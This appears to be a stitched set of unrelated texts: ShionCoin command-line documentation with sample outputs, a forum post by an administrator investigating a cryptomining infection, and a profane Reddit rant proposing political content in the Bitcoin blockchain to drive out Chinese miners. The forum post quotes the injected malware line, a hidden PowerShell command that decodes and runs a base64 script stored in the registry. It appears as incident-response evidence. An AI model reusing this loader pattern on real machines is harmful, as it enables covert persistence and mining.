shc block.get bc157eefd48e18152c70ad2937bd44e6bb38d218bf13c262a844a3d0ae9264d6 { "blockhash": "bc157eefd48e18152c70ad2937bd44e6bb38d218bf13c262a844a3d0ae9264d6", "version": 536870912, "merkleroot": "5bda555d945bc36806f1eb4913a47a2ecad4569133cce1d59bd82ad94e7be1c6", "time": 1521898215, "stamp": "03/24/18 07:30:15", "nonce": 4422421, "bits": "1e07ffff", "previousblockhash": "3312abddb29aea55f44a0e3c52d397d3041b9e2deaa160f2ac415cdca05057b9", .. }
Print Block Hash (height): block.hash
Obtain the block hash for a specified block height.
shc block.hash 77022 bc157eefd48e18152c70ad2937bd44e6bb38d218bf13c262a844a3d0ae9264d6
Export BlockChain: block.export
Export an entire block-chain to a binary file. The actual export of data is performed asynchronously (in the background), and the log file should be reviewed to determine when the operation is actually done.
shc block.export /root/.shc/block.bin { "mode": "export-block", "minheight": 0, "maxheight": 0, "path": "/root/.shc/block.bin", "state": "init" }
tail /valog/share/shcoind.log ..
[03/24/18 07:47:14] info: shc: PerformBlockChainOperation: saved 77105 blocks to path "/root/.shc/block.bin".
Import BlockChain: block.import
Import a previously exported block-chain into the live system. The imported file will only over-write block records that do not previously exist.
BlockChain Scan: block.verify
Perform an integrity check against the last X blocks in the block-chain.

# Transaction Commands

Print Transaction: tx.get
Print details for a particular transaction from it's transaction hash.
shc tx.get 307711dace8c0583b744af8acd1df2073e36b0c7a54b8830a15ae146f8c22ddb { "version": 1, "flag": 1, "txid": "307711dace8c0583b744af8acd1df2073e36b0c7a54b8830a15ae146f8c22ddb", .. }
Print Transaction: tx.pool
Print details for all transaction currently pending in the active "mempool" queue. These are transactions that are actively being inserted into mined blocks.
Print Transaction: tx.validate
Validate a transaction hash associated with the local wallet. Prints summarized information about all local coin addresses associated with the transaction.
shc tx.validate 307711dace8c0583b744af8acd1df2073e36b0c7a54b8830a15ae146f8c22ddb [{ "spent": "false", "ismine": "true", "address": "S7viXBKwUZKy4aPCby3oXzWFDxhZKjGipA" }, { "spent": "false", "ismine": "true", "address": "S2fzfzf1SStvaMzjGpCtYKxY3t8PXus9Ci" }]

# Peer Commands

Import Peers: peer.info
Display a summary of information relating to connected peers.
{ "clientversion": 3010000, "protocolversion": 2000000, "socketport": 24104, "connections": 3, "networkhashps": 11609, "errors": "" }
Import Peers: peer.list
Display information about each node peer currently connected to the coin interface.
Export Peers: peer.export
Export all of the known peers to a JSON file.
shc peer.export /root/.shc/peer.json { "mode": "peer.export", "path": "/root/.shc/peer.json", "state": "finished" }
Import Peers: peer.add
Import a JSON file containing node peer information.
Remove Peer: peer.remove
Disconnect and remove the specified peer from the system.

# Context Commands

Context Info: ctx.info
Print the current fee to create a context transaction and the total number of context records in the system.
{ "fee": 25, "total": 1 }
Print String Context: ctx.getstr
Prints the ASCII value associated with a particular context name.
shc ctx.getstr "test name" test value
Print Context: ctx.get
Prints detailed information about a context record given it's context hash.
shc ctx.get ab5b128ce3674f81f0271efbbbb191fed56e9a80 { "version": 3, "label": "ab5b128ce3674f81f0271efbbbb191fed56e9a80 test name (1zgfTHd5BQA)", "expire": "Mar 23 08:28:39 2020", "flags": 10244, "signature": "e0539d3ecb54c5c0a29ccd69f0b03dfdfb58bc24", "hash": "ab5b128ce3674f81f0271efbbbb191fed56e9a80", "valuesize": 10, "valuecrc": "1zgfTHd5BQA", "tx": "0dbf21191091e33ad7be3b1ce1983ffffdbedeb804e3ce934021f0fad038d50e" }
Create String Context: ctx.findloc
Search for a location by it's name or with geodetic cordinates.
The "ctx.findloc" will scan an area and attempt to find a location within it. This area includes a span of about 100 sq. miles. The closest location with the smallest precision found will be returned. In addition, geodetic information provided by the share library is also utilized.
shc ctx.findloc "geo:46.9,114.2" { "name": "missoula, mt", "summary": "Montana", "zone": "America/Denver", "code": "MUNI", "country": "US", "geo": "46.94000,114.04000", "type": "Municipal Zone", "springable": "false" } shc ctx.findloc "Missoula, MT" { "name": "missoula, mt", "summary": "Montana", "zone": "America/Denver", "code": "MUNI", "country": "US", "geo": "46.94000,114.04000", "type": "Municipal Zone", "springable": "false" }
Note: The "springable" value denotes whether the geodetic location can be claimed in the SHC spring matrix (see "wallet.stamp").
Create String Context: ctx.getloc
Print detailed information about a particular location by it's name or geodetic cordinates.
The "ctx.getloc" command requires specific cordinates to be specified when a latitude and longitude is specified.
ctx.getloc "Missoula Creek" ctx.getloc geo:46.9846,114.1213
Note: The "springable" value denotes whether the geodetic location can be claimed in the SHC spring matrix (see "wallet.stamp").
Create String Context: ctx.setstr
Create a text format context value. This establishes a simple name=value relationship.
Context names are stored as hash keys. Therefore, the string name of the context key must be known before-hand in order to perform the lookup. A small label is also provided as part of the context record which includes a snippet (or all of) the context name.
Context records are signed against the coin address that paid to generate the transaction. Context transaction typically cost about 25 SHC or less to create. A context will expire two years after the date at which it is either created or updated. The owner can update a context by creating a new one with the same name as a pre-existing one. The "context hash" that identifies a context is also the key hash of it's label. The context is shown as part of the transaction details.
shc ctx.setstr test "test name" "test value" { "version": 3, "label": "ab5b128ce3674f81f0271efbbbb191fed56e9a80 test name (1zgfTHd5BQA)", "expire": "Mar 23 08:28:39 2020", "flags": 10244, "signature": "e0539d3ecb54c5c0a29ccd69f0b03dfdfb58bc24", "hash": "ab5b128ce3674f81f0271efbbbb191fed56e9a80", "valuesize": 10, "valuecrc": "1zgfTHd5BQA", "tx": "0dbf21191091e33ad7be3b1ce1983ffffdbedeb804e3ce934021f0fad038d50e" }
Create Geodetic Context: ctx.setloc
The "ctx.setloc" command creates contextual information about a specific place.
The command includes information about a location zipcode, name, and description. In addition, an optional place type code, country code, and web-url can be specified.
The place type corrosponds to one of the codes returned from the "ctx.loctypes" command.
This command has two different modes. One corrosponds to giving a name to a particular geodetic latitude and longitude corindate, and the other includes providing details about that particular location. A single location (as specified by latitude and longitude) may have multiple names, but it limited to a single set of details. Although some common places may be reserved from use (such as common city names), the application of detailed information to a geodetic location comes on a first-come-first-serve basis. Note that context information expires after two years.
The size of the area being referenced is dependent on the place type specified. For example, "AREA" spans roughly 30 sq. miles, while "SPOT" only spans 8 sq. feet. This precision is used in relation to geodetic lookups performed.
shc ctx.setloc test geo:46.9846,114.1213 "Bitterroot Creek" STM US shc ctx.setloc test "Missoula Creek" geo:46.9846,114.1213
Create Identity Context: ctx.setid
Create a binary context from the raw command-line argument specified.
Create Binary Context (raw): ctx.setbin
Create a binary context from the raw command-line argument specified.
Create Binary Context (file): ctx.setfile
Create a binary context from the absolute path specified.
Print Location Types: ctx.loctypes
Print out all suported location type codes for use with the "ctx.setloc" command.
[{ "name": "AREA", "desc": "General Area", "prec": 1 }, { "name": "MT", "desc": "Mountain", "prec": 1 }, .. }

# Address Alias Commands

Alias Info: alias.info
Print the current fee to create an alias transaction and the total number of alias records in the system.
shc alias.info { "fee": 31.250000, "total": 1 }
Create Address Alias: alias.pubaddr
Create a persistent public association with a name and a coin address. Once confirmed, the coin address can be referenced as "@" in command-line operations.
When a coin address is specified the alias label will be published onto the block chain in reference. If the alias label already exists, then a transfer will occur providing you are the original owner.
A coin address will be automatically created if none is specified. Only "pub-key" coin addresses are currently supported. An alias will expire after 12 years.
An alias cost around 30 SHC to create and will decrease over time.
shc alias.pubaddr test S2fzfzf1SStvaMzjGpCtYKxY3t8PXus9Ci { .. "alias": { "version": 1, "label": "test", "expire": "Mar 21 09:37:40 2030", "type": 30, "addr": "S2fzfzf1SStvaMzjGpCtYKxY3t8PXus9Ci", "type-name": "pubkey" } }
shc wallet.send bank @test 2 d438fea502b7113f155617fc1b400161bb3045645094df5423ce7e484fadf7f2
List Address Alias: alias.list
Print all aliases that match the keyword provided.
shc alias.list { "test": { "block": "79b04f63fe5602f40bc559b1c5b39b730a2d6ea2d6b4ab491904d6054b1add71", "tx": "abb12ed2f4a74c58432afa9e19c08afad1d3dd84052f23be534e96ed53e11d4f", "alias": "77135966b271a06928cdff5548dbbaed61ee7250", "addr": "S2fzfzf1SStvaMzjGpCtYKxY3t8PXus9Ci" } }
Print Address Alias: alias.getaddr
Print details about a particular coin address alias given it's name.
shc alias.getaddr test { "version": 1, "label": "test", "expire": "Mar 21 09:37:40 2030", "type": 30, "addr": "S2fzfzf1SStvaMzjGpCtYKxY3t8PXus9Ci", "type-name": "pubkey" }

# Certificate Commands

Certificate Info: cert.info
Prints the current certificate transaction fee and the total number of certificates created on the block-chain.
shc cert.info { "fee": 14.750000, "total": 1 }
Certificate Info: cert.list
Search for a certificate given the provided keyword.
shc cert.list test { "test certificate": "8069f1bbfb435cfa1efdb454684446528343b809" }
Certificate Info: cert.new
The "cert.new" command is used to create a new certificate on the block-chain. The certificate than may be used to derive other certificates or dispense licences. The certificate may have an optional fee specified that will be required to derive or license it.
A certificate can either be designated for issueing other certificates or granting licenses, but not both. Either form of the certificate may be used in order to donate or send a certified coin transfer.
A certificate is signed against a private key that is generated from the associated extended account coin address. You may optionally specify a hexadecimal seed to use for generating the private key. The certificate's private key is not stored in a database or a transaction, and requires the original coin address to be present in the local wallet to be determined. The public key is provided as part of the certificate transaction, and can be used in order to verify the integrity of the associated signature.
The average fee for registering a new certificate is initially about 15 SHC and will decrease over time. The details of the certificate are visible in the underlying transaction that it was generated in.
The frame-work of the certificate is designed to be compatible with the x509 format. See the "shcert" share library utility program for more information on exporting x509 certificate created on the ShionCoin block-chain. Certificates may also be used to provide licensing authentication to run or provide features to programs using the share library "esig" functionality (see the "shesig_verify()" function).
Note that the certificate may contain identifying information such as the originating coin address and, when available, the geodetic location.
shc cert.new test "test certificate" { "version": 1, "flag": 17, "txid": "18d0a73c96af3dd211f27e4ada898e13b4cf25223da2591289edb8a1e86f1129", .. "certificate": { "version": 3, "label": "test certificate", "expire": "Mar 24 04:13:46 2066", "geo": "46.770000,113.980000", "addr": "SC2j6kxbrKzfpxsGqBQSrxeDh2CdPn1TLJ", "certhash": "8069f1bbfb435cfa1efdb454684446528343b809", "issuer": "0000000000000000000000000000000000000000", "serialno": "0c96a132d74df2522f38babf0733224c", "flags": 10244, "signature": "0d5a4e6c7d4975ee443cfc2e057d3d76070bd2f5", "sigpubkey": "0334d9f89253fa0837a1524266414509bdce478368" } }
Certificate Info: cert.get
Print the details of a certificate record given the certificate hash.
{ "version": 3, "label": "test certificate", "expire": "Mar 24 04:13:46 2066", "geo": "46.770000,113.980000", "addr": "SC2j6kxbrKzfpxsGqBQSrxeDh2CdPn1TLJ", "certhash": "8069f1bbfb435cfa1efdb454684446528343b809", "issuer": "0000000000000000000000000000000000000000", "serialno": "0c96a132d74df2522f38babf0733224c", "flags": 10244, "signature": "0d5a4e6c7d4975ee443cfc2e057d3d76070bd2f5", "sigpubkey": "0334d9f89253fa0837a1524266414509bdce478368", "txid": "18d0a73c96af3dd211f27e4ada898e13b4cf25223da2591289edb8a1e86f1129" }
Certificate Info: cert.derive
Derive a certificate from another certificate. You can optionally specify a fee to be associated with the new certificate, and a fee may be required if one is associated with the parent certificate.
Certificate Info: cert.license
Generate a license from a certificate. A license represents authorization to use a particular product and typically requires a fee to be paid. You can optionally specify a hexadecimal seed to be used when creating the certificate's private key.
Certificate Info: cert.export
Exports the private key information from the extended account that is used to claim ownership over a particular certificate.
Ownership and management of a certificate depends on having specific coin address key(s) in the coin wallet. Exporting a certificate provides JSON formatted content which can be used with "wallet.import" command to attain ownership of a certificate.
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##### I need a registry key last write time and advice moving forward.

I had a training PC get popped for PowerShell running in the background. I'm trying to identify how this happened and act accordingly. We use Carbon Black response and they alerted us this task was running powershell and making network connections to primary.mypools.xyz a domain known for Bitcoin mining. The machine has a pretty restrictive GPO and I'm trying to determine how so much was accomplished.
Steps I've taken so far
Collected an image of the hard drive with FTK imager. I loaded the image into VirtualBox. A line of code was injected into a Google Chrome update sheduled task.
The scheduled task "GoogleUpdateTaskMachineCore" Had a few lines injected into the XML file. I do not have the code on me at the moment, basically it called PowerShell and had it reference a registry key.
HKLM:\SOFTWARE\Microsoft\Powershell\Scripts.
I found the registry key path and inside of it is encrypted garbled nonsense. four values with encrypted text as the data.
I've used RegRipper and Mitec WRR to try and get a last write time, time stamp for the keys in the registry. neither is giving me a clear timestamp.
Has anyone had experience with these new bitcoin mining malware? where should I look next? How can I get the last write time for this registry key?
I'll be here to answer any questions. Thanks for the help.
EDIT here is the addition to the "GoogleUpdateTaskMachineCore"
`  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -version 2 -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp "HKLM:\SOFTWARE\Microsoft\Powershell").ScriptInit)));  `
Edit 2
Botched any forensics with CB Response. Instead of keeping the host isolated and using CB, I formatted the HD and reinstalled windows. Used the same computer name with same MAC and now process search will not work for the sensor.
I was able to get the last write time of the registry entry by loading the SOFTWARE hive into regedit and exporting the key to a TXT document. It has the same write time as when the scheduled task was changed. I've checked the DVR and there was no one physically on site at the time.
I was only able to decode one of the encrypted values. Seems like a virus and Virus Total is showing it as a trojan.
How it got on the machine, I do not know. It's like an itch I can't scratch. Thanks for the help everyone.
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##### Censored by self serving scammer dirtbag Anti- Free Speech r/Bitcoin hypocrites: A proposal for a simple, inexpensive, and effective way to end Chinese Miner dominance of Bitcoin.

Edit to add: The fine folks in BitcoinNorthKorea relented and took this thread out of the memory hole for consumption by the muggles. It is here.
Start original thread:
Simply start embedding pro Falun Gong, Tiananmen Square protests of 1989, freedom of speech, Taiwan independence, Tibetan independence movement, etc. literature into the Blockchain. It would probably be best to put this literature in Chinese, as well as English. Contacting some of the various Chinese dissident groups and having them directly participate will add legitimacy and fuel the flames of outrage the tyrannical Chinese government would feel at this attack upon their censorship of pro-freedom information now bypassing the Great Firewall of China and making them look like fools. Inititally the Chinese miners will likely try to exclude transactions with such information, and they will still get through when mined by non-Chinese Miners. The Chinese Government will have to force the miners to introduce a fork to scrub that content from the Blockchain or shut down, and they will choose the fork option. Then just don't use their new coin.
They will have their new Alt China-BitmainCoin, and Bitcoin will remain the same as it ever was. It would also then exclude them from mining the original Bitcoin Blockchain that contains the illegal (In China) literature in it, so it would effectively remove the threat of attacks on the old chain by the massive amount of mining hardware centralized in China.
Here you go: http://www.cryptograffiti.info/ Looks like it is about a penny a letter to use this service, cheaper or even free if you have the where with all to do it yourself and attach the messagesI think. Images too, of course, the obvious one would be the outlawed Tank Man pictures. Even if the Chinese government decides for whatever reason to turn a blind eye to this pro-freedom information being distributed via the Bitcoin blockchain on nodes operated by Chinese Miners, you will still be doing the free world and Bitcoin a service by showing Bitcoin to be a true beacon of Free Speech in an ever darkening world and only be out a days lunch money for doing so. Why let the Chinese Miners dictate their vision of Bitcoin and reap profits taken from you when you have the means to stop them?
End of thread rejected by hypocrite Bitcoin. How many threads are there on that sub lauding the virtues of Bitcoin as a vehicle of Free Speech that can not be stopped by governments?
How many threads are there on that sub lauding the virtues of Bitcoin as a vehicle of Free Speech that can not be stopped by evil governments or banksters? Here is a blog exclaiming the virtues of freedom of expression enabled with the" immutable" Bitcoin Blockchain and how wonderful it is that Nelson Mandela is immortalized on the Bitcoin Blockchain, along with many more examples like Wikileaks information. And yet using this wondrous weapon against tyranny to fire the Chines Miners from Bitcoin, and score a win for Freedom of Speech at the same0 time is immediately rejected. Typical faux Libertarian Bitcoin bullshit hypocrisy in action, all any of them care about is how much they can rip off from the next sucker, the pro-free speech spiel is just another way to con more suckers into buying a ride on the Bitcoin ShitZeppelin. I would expect the sites making it easy to embed and read text and images on the Blockchain start enjoying some real Bitcoin Love in the form of DDOS attacks, and/or bribes from Anti Free Speech Bitcoin hypocrites to shut down and protect their precious fucking Bitcoin Scam.
Edit: It took all of 5 minutes of shame for the fine freedom loving folks in Bitcoin to relent and let the thread through to the muggles after holding it in the memory hole for a couple of hours.
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